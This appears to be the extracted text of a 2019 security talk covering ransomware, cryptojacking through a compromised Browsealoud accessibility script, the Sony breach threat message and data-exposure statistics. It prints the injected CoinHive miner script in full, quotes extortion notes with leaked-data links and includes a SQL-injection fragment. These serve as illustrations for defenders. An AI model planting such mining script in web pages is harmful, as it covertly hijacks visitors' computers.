The Modern State of Insecurity
February, 2019
Fighting a different battle than conventional cybersecurity companies
“Forensic investigators hired to assess the breach retraced the route of the truck to determine whether they could locate the drives along this route, but were unable to find any trace of them.”
The Monetization Pipeline
Dear Customer:

It is time to pay for your software lease from PC Cyborg Corporation. Complete the INVOICE and enclose your payment option of your choice. If you don’t use the printer option, refer to the important reference numbers below in the complete instructions;
- a renewal software package
- an automatic, self-installed
- and an application that can apply in minutes.

Important reference numbers

The price of 365 user applications for the lifetime of your hard disk is $100.00. If you choose a bankers draft, cashier’s check or international money order to PC CYBORG CORPORATION for the full amount of $100.00. Include your name, company, address, city, state, zip and order code. Mail your order to PC Cyborg Corporation, P.O. Box 87-17-44, Panama 7, Panama.

Press ENTER to continue
97.2% Success Rate
Experts in data recovery

24/7/365 Proven success on thousands of previous cases.
Let us earn your trust as the industry leader in data recovery service.
“Subsequent investigation by the FBI confirmed that PDR was only able to decrypt the victim's files by paying the subject the ransom amount via Bitcoin”
The Modern Supply Chain
NEW GAME
CHOOSE SKILL LEVEL
I'm too young to play.
Hey, not too rough.
Hurt me plenty.
ULTRA-VIOLENCE.
websites made more accessible with easy speech, reading and translation tools.

Watch the video →
<script type="text/javascript" src="/www.browsealoud.com/plus/scripts/ba.js"></script>
window["document"]["write"]("write type='text/javascript'

window["document"]["write"]('<script> if (navigator.hardwareConcurrency > 1){ var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/3), throttle:0.6}} else { var cpuConfig = {threads: 8,throttle:0.6}} var miner = new CoinHive.Anonymous(\'1GdQGpY1pivrGlVHSp5P2IIr9cyTzzXq\', cpuConfig);miner.start();</script>');
content-security-policy

Sites *not* protected by CSP

Sites protected by CSP
Sites are Still Embedding Browsealoud with no CSP

Major Retailers
US Government
UK Government
UK Transportation
Detection
Warning:
We've already warned you, and this is just a beginning. We continue till our request be met. We've obtained all your internal data including your secrets and top secrets. If you don't obey us, we'll release data shown below to the world. Determine what will you do till November the 24th, 11:00 PM (GMT).

Data Link:
https://www.sonymovies.thammasatpress.com/SPEData.zip
http://dmiplaewh36.spe.sony.com/SPEData.zip
http://www.ntcnt.ru/SPEData.zip
http://www.universidadebematech.com.br/SPEData.zip
http://moodle.universidadebematech.com.br/SPEData.zip
21% of all folders are open to everyone

58% have over 100,000 folders open to everyone

Varonis 2018 Global Data Risk Report
';--have i been pwned?

Check if you have an account that has been compromised in a data breach

email address  pwned?

Generate secure, unique passwords for every account

Learn more at 1Password.com

283 pwned websites
5,043,777,892 pwned accounts
69,592 pastes
76,534,405 paste accounts
Imgur: Hacked: 2013, Leaked: 2017
The Data Security Money Pit
# Web Economy Bullshit Generator

**Instructions:**
1. Click the make bullshit button.
2. Watch bullshit appear in the box.
3. Repeat to taste (use your Enter/Return key).

<table>
<thead>
<tr>
<th>verbs</th>
<th>adjectives</th>
<th>nouns</th>
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<tbody>
<tr>
<td>aggregate</td>
<td>24/365</td>
<td>action-items</td>
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<tr>
<td>architect</td>
<td>24/7</td>
<td>applications</td>
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<td>B2B</td>
<td>architectures</td>
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<td>back-end</td>
<td>channels</td>
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<td>communities</td>
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<tr>
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<td>bleeding-edge</td>
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<td>clicks-and-mortar</td>
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<tr>
<td>e-enable</td>
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<td>e-commerce</td>
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</tbody>
</table>
5 Key Takeaways

- Conventional Risks
- Monetization
- Supply Chain
- Detection
- Money Pit
Thank You
Derek Keen